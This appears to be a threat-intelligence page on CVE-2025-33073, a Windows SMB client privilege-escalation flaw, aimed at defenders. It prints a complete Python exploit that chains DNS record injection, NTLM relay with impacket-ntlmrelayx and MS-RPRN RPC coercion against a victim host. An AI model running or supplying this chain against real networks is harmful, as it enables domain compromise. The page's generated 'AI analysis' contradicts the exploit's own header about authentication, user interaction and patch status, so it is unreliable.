Windows 11 SMB Client - Privilege Escalation & Remote Code Execution (RCE)
Windows 11 SMB Client - Privilege Escalation & Remote Code Execution (RCE)
AI Analysis
Technical Summary
This security threat pertains to a critical vulnerability in the Windows 11 SMB (Server Message Block) Client that enables both privilege escalation and remote code execution (RCE). The SMB protocol is widely used for file sharing, network browsing, and inter-process communication in Windows environments. A flaw in the SMB client component of Windows 11 allows an attacker to remotely execute arbitrary code on a target system without requiring prior authentication or user interaction. This exploit leverages weaknesses in how the SMB client processes specially crafted network packets or responses from malicious SMB servers. Successful exploitation can lead to the attacker gaining elevated privileges on the compromised machine, potentially allowing full system control. The presence of publicly available exploit code written in Python indicates that the vulnerability can be weaponized relatively easily by attackers, increasing the risk of exploitation. Although no CVSS score is assigned, the combination of remote code execution and privilege escalation in a widely deployed client component makes this a highly severe threat. The lack of patch links suggests that a fix may not yet be publicly available, emphasizing the urgency for mitigation. Given the integral role of SMB in Windows networking and the widespread adoption of Windows 11 in enterprise and consumer environments, this vulnerability poses a significant risk to confidentiality, integrity, and availability of affected systems.
Potential Impact
For European organizations, this vulnerability could have severe consequences. Many enterprises rely heavily on Windows 11 for endpoint devices and internal network communications, making them susceptible to attacks exploiting this SMB client flaw. An attacker could remotely compromise user machines, escalate privileges, and move laterally within corporate networks, potentially accessing sensitive data, disrupting operations, or deploying ransomware. Critical infrastructure sectors such as finance, healthcare, manufacturing, and government agencies in Europe could be targeted due to their strategic importance and reliance on Windows environments. The ease of exploitation and the availability of exploit code increase the likelihood of rapid weaponization by cybercriminals or state-sponsored actors. Additionally, the vulnerability could be leveraged in supply chain attacks or to compromise remote workers using VPNs or direct SMB connections. The absence of a patch at the time of disclosure further exacerbates the risk, leaving organizations exposed to potential breaches and operational disruptions.
Mitigation Recommendations
Given the absence of an official patch, European organizations should implement immediate and specific mitigations beyond generic advice: 1) Disable SMBv1 and restrict SMBv2/SMBv3 traffic to trusted hosts only using firewall rules and network segmentation to limit exposure. 2) Employ strict egress and ingress filtering to block SMB traffic from untrusted external networks, including the internet. 3) Use endpoint detection and response (EDR) tools to monitor for anomalous SMB client behavior and privilege escalation attempts. 4) Enforce the principle of least privilege on user accounts to minimize the impact of potential escalations. 5) Apply network-level authentication and SMB signing where possible to reduce the risk of man-in-the-middle attacks. 6) Educate users about the risks of connecting to untrusted SMB shares or networks. 7) Prepare for rapid deployment of patches once available by maintaining an up-to-date asset inventory and patch management process. 8) Consider deploying virtual patching via intrusion prevention systems (IPS) that can detect and block exploit attempts targeting this vulnerability. These targeted measures will help reduce the attack surface and limit the potential for exploitation until a vendor patch is released.
Affected Countries
Germany, France, United Kingdom, Italy, Spain, Netherlands, Belgium, Poland, Sweden, Finland
Indicators of Compromise
- exploit-code: #!/usr/bin/env python3 # Exploit Title: Windows 11 SMB Client - Privilege Escalation & Remote Code Execution (RCE) # Author: Mohammed Idrees Banyamer # Instagram: @banyamer_security # GitHub: https://github.com/mbanyamer # Date: 2025-06-13 # Tested on: Windows 11 version 22H2, Windows Server 2022, Kali Linux 2024.2 # CVE: CVE-2025-33073 # Type: Remote # Platform: Microsoft Windows (including Windows 10, Windows 11, Windows Server 2019/2022/2025) # Attack Vector: Remote via DNS injection and RPC coercion with NTLM relay # User Interaction: Required (authenticated domain user) # Remediation Level: Official Fix Available # # Affected Versions: # - Windows 11 versions 22H2, 22H3, 23H2, 24H2 (10.0.22621.x and 10.0.26100.x) # - Windows Server 2022 (including 23H2 editions) # - Windows Server 2019 # - Windows 10 versions from 1507 up to 22H2 # - Windows Server 2016 and 2008 (with appropriate versions) # # Description: # This PoC demonstrates a complex attack chain exploiting improper access control in Windows SMB clients, # leading to elevation of privilege through DNS record injection, NTLM relay attacks using impacket-ntlmrelayx, # and coercion of a victim system (including Windows 11) to authenticate to an attacker-controlled server # via MS-RPRN RPC calls. The exploit affects multiple Windows versions including Windows 11 (10.0.22621.x), # Windows Server 2022, and earlier versions vulnerable to this method. # # # Note: The exploit requires the victim to be an authenticated domain user and the environment # must not have mitigations like SMB signing enforced or Extended Protection for Authentication (EPA). # # DISCLAIMER: For authorized security testing and educational use only. import argparse import subprocess import socket import time import sys def inject_dns_record(dns_ip, dc_fqdn, record_name, attacker_ip): print("[*] Injecting DNS record via samba-tool (requires admin privileges)...") cmd = [ "samba-tool", "dns", "add", dns_ip, dc_fqdn, record_name, "A", attacker_ip, "--username=Administrator", "--password=YourPassword" ] try: subprocess.run(cmd, check=True) print("[+] DNS record successfully added.") except subprocess.CalledProcessError: print("[!] Failed to add DNS record. Check credentials and connectivity.") sys.exit(1) def check_record(record_name): print("[*] Verifying DNS record propagation...") for i in range(10): try: result = socket.gethostbyname_ex(record_name) if result and result[2]: print(f"[+] DNS record resolved to: {result[2]}") return True except socket.gaierror: time.sleep(2) print("[!] DNS record did not propagate or resolve.") return False def start_ntlmrelay(target): print("[*] Starting NTLM relay server (impacket-ntlmrelayx)...") try: subprocess.Popen([ "impacket-ntlmrelayx", "-t", target, "--no-smb-server" ]) print("[*] NTLM relay server started.") except Exception as e: print(f"[!] Failed to start NTLM relay server: {e}") sys.exit(1) def trigger_coercion(victim_ip, fake_host): print("[*] Triggering victim to authenticate via MS-RPRN RPC coercion...") cmd = [ "rpcping", "-t", f"ncacn_np:{victim_ip}[\\pipe\\spoolss]", "-s", fake_host, "-e", "1234", "-a", "n", "-u", "none", "-p", "none" ] try: subprocess.run(cmd, check=True) print("[+] Coercion RPC call sent successfully.") except subprocess.CalledProcessError: print("[!] RPC coercion failed. Verify victim connectivity and service status.") sys.exit(1) def main(): parser = argparse.ArgumentParser(description="Windows 11 SMB Client Elevation of Privilege PoC using DNS Injection + NTLM Relay + RPC Coercion") parser.add_argument("--attacker-ip", required=True, help="IP address of the attacker-controlled server") parser.add_argument("--dns-ip", required=True, help="IP address of the DNS server (usually the DC)") parser.add_argument("--dc-fqdn", required=True, help="Fully qualified domain name of the domain controller") parser.add_argument("--target", required=True, help="Target system to relay authentication to") parser.add_argument("--victim-ip", required=True, help="IP address of the victim system to coerce authentication from") args = parser.parse_args() record = "relaytrigger" fqdn = f"{record}.{args.dc_fqdn}" inject_dns_record(args.dns_ip, args.dc_fqdn, record, args.attacker_ip) if not check_record(fqdn): print("[!] DNS verification failed, aborting.") sys.exit(1) start_ntlmrelay(args.target) time.sleep(5) # Wait for relay server to be ready trigger_coercion(args.victim_ip, fqdn) print("[*] Exploit chain triggered. Monitor ntlmrelayx output for authentication relays.") if __name__ == "__main__": main()
Windows 11 SMB Client - Privilege Escalation & Remote Code Execution (RCE)
Description
Windows 11 SMB Client - Privilege Escalation & Remote Code Execution (RCE)
AI-Powered Analysis
Technical Analysis
This security threat pertains to a critical vulnerability in the Windows 11 SMB (Server Message Block) Client that enables both privilege escalation and remote code execution (RCE). The SMB protocol is widely used for file sharing, network browsing, and inter-process communication in Windows environments. A flaw in the SMB client component of Windows 11 allows an attacker to remotely execute arbitrary code on a target system without requiring prior authentication or user interaction. This exploit leverages weaknesses in how the SMB client processes specially crafted network packets or responses from malicious SMB servers. Successful exploitation can lead to the attacker gaining elevated privileges on the compromised machine, potentially allowing full system control. The presence of publicly available exploit code written in Python indicates that the vulnerability can be weaponized relatively easily by attackers, increasing the risk of exploitation. Although no CVSS score is assigned, the combination of remote code execution and privilege escalation in a widely deployed client component makes this a highly severe threat. The lack of patch links suggests that a fix may not yet be publicly available, emphasizing the urgency for mitigation. Given the integral role of SMB in Windows networking and the widespread adoption of Windows 11 in enterprise and consumer environments, this vulnerability poses a significant risk to confidentiality, integrity, and availability of affected systems.
Potential Impact
For European organizations, this vulnerability could have severe consequences. Many enterprises rely heavily on Windows 11 for endpoint devices and internal network communications, making them susceptible to attacks exploiting this SMB client flaw. An attacker could remotely compromise user machines, escalate privileges, and move laterally within corporate networks, potentially accessing sensitive data, disrupting operations, or deploying ransomware. Critical infrastructure sectors such as finance, healthcare, manufacturing, and government agencies in Europe could be targeted due to their strategic importance and reliance on Windows environments. The ease of exploitation and the availability of exploit code increase the likelihood of rapid weaponization by cybercriminals or state-sponsored actors. Additionally, the vulnerability could be leveraged in supply chain attacks or to compromise remote workers using VPNs or direct SMB connections. The absence of a patch at the time of disclosure further exacerbates the risk, leaving organizations exposed to potential breaches and operational disruptions.
Mitigation Recommendations
Given the absence of an official patch, European organizations should implement immediate and specific mitigations beyond generic advice: 1) Disable SMBv1 and restrict SMBv2/SMBv3 traffic to trusted hosts only using firewall rules and network segmentation to limit exposure. 2) Employ strict egress and ingress filtering to block SMB traffic from untrusted external networks, including the internet. 3) Use endpoint detection and response (EDR) tools to monitor for anomalous SMB client behavior and privilege escalation attempts. 4) Enforce the principle of least privilege on user accounts to minimize the impact of potential escalations. 5) Apply network-level authentication and SMB signing where possible to reduce the risk of man-in-the-middle attacks. 6) Educate users about the risks of connecting to untrusted SMB shares or networks. 7) Prepare for rapid deployment of patches once available by maintaining an up-to-date asset inventory and patch management process. 8) Consider deploying virtual patching via intrusion prevention systems (IPS) that can detect and block exploit attempts targeting this vulnerability. These targeted measures will help reduce the attack surface and limit the potential for exploitation until a vendor patch is released.
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Technical Details
- Edb Id
- 52330
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Windows 11 SMB Client - Privilege Escalation & Remote Code Execution (RCE)
#!/usr/bin/env python3 # Exploit Title: Windows 11 SMB Client - Privilege Escalation & Remote Code Execution (RCE) # Author: Mohammed Idrees Banyamer # Instagram: @banyamer_security # GitHub: https://github.com/mbanyamer # Date: 2025-06-13 # Tested on: Windows 11 version 22H2, Windows Server 2022, Kali Linux 2024.2 # CVE: CVE-2025-33073 # Type: Remote # Platform: Microsoft Windows (including Windows 10, Windows 11, Windows Server 2019/2022/2025) # Attack Vector: Remote via DNS injection and RPC... (4496 more characters)
Threat ID: 684fad5ba8c921274383b100
Added to database: 6/16/2025, 5:36:27 AM
Last enriched: 6/16/2025, 5:37:54 AM
Last updated: 6/16/2025, 4:03:21 PM
Views: 8
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CriticalActions
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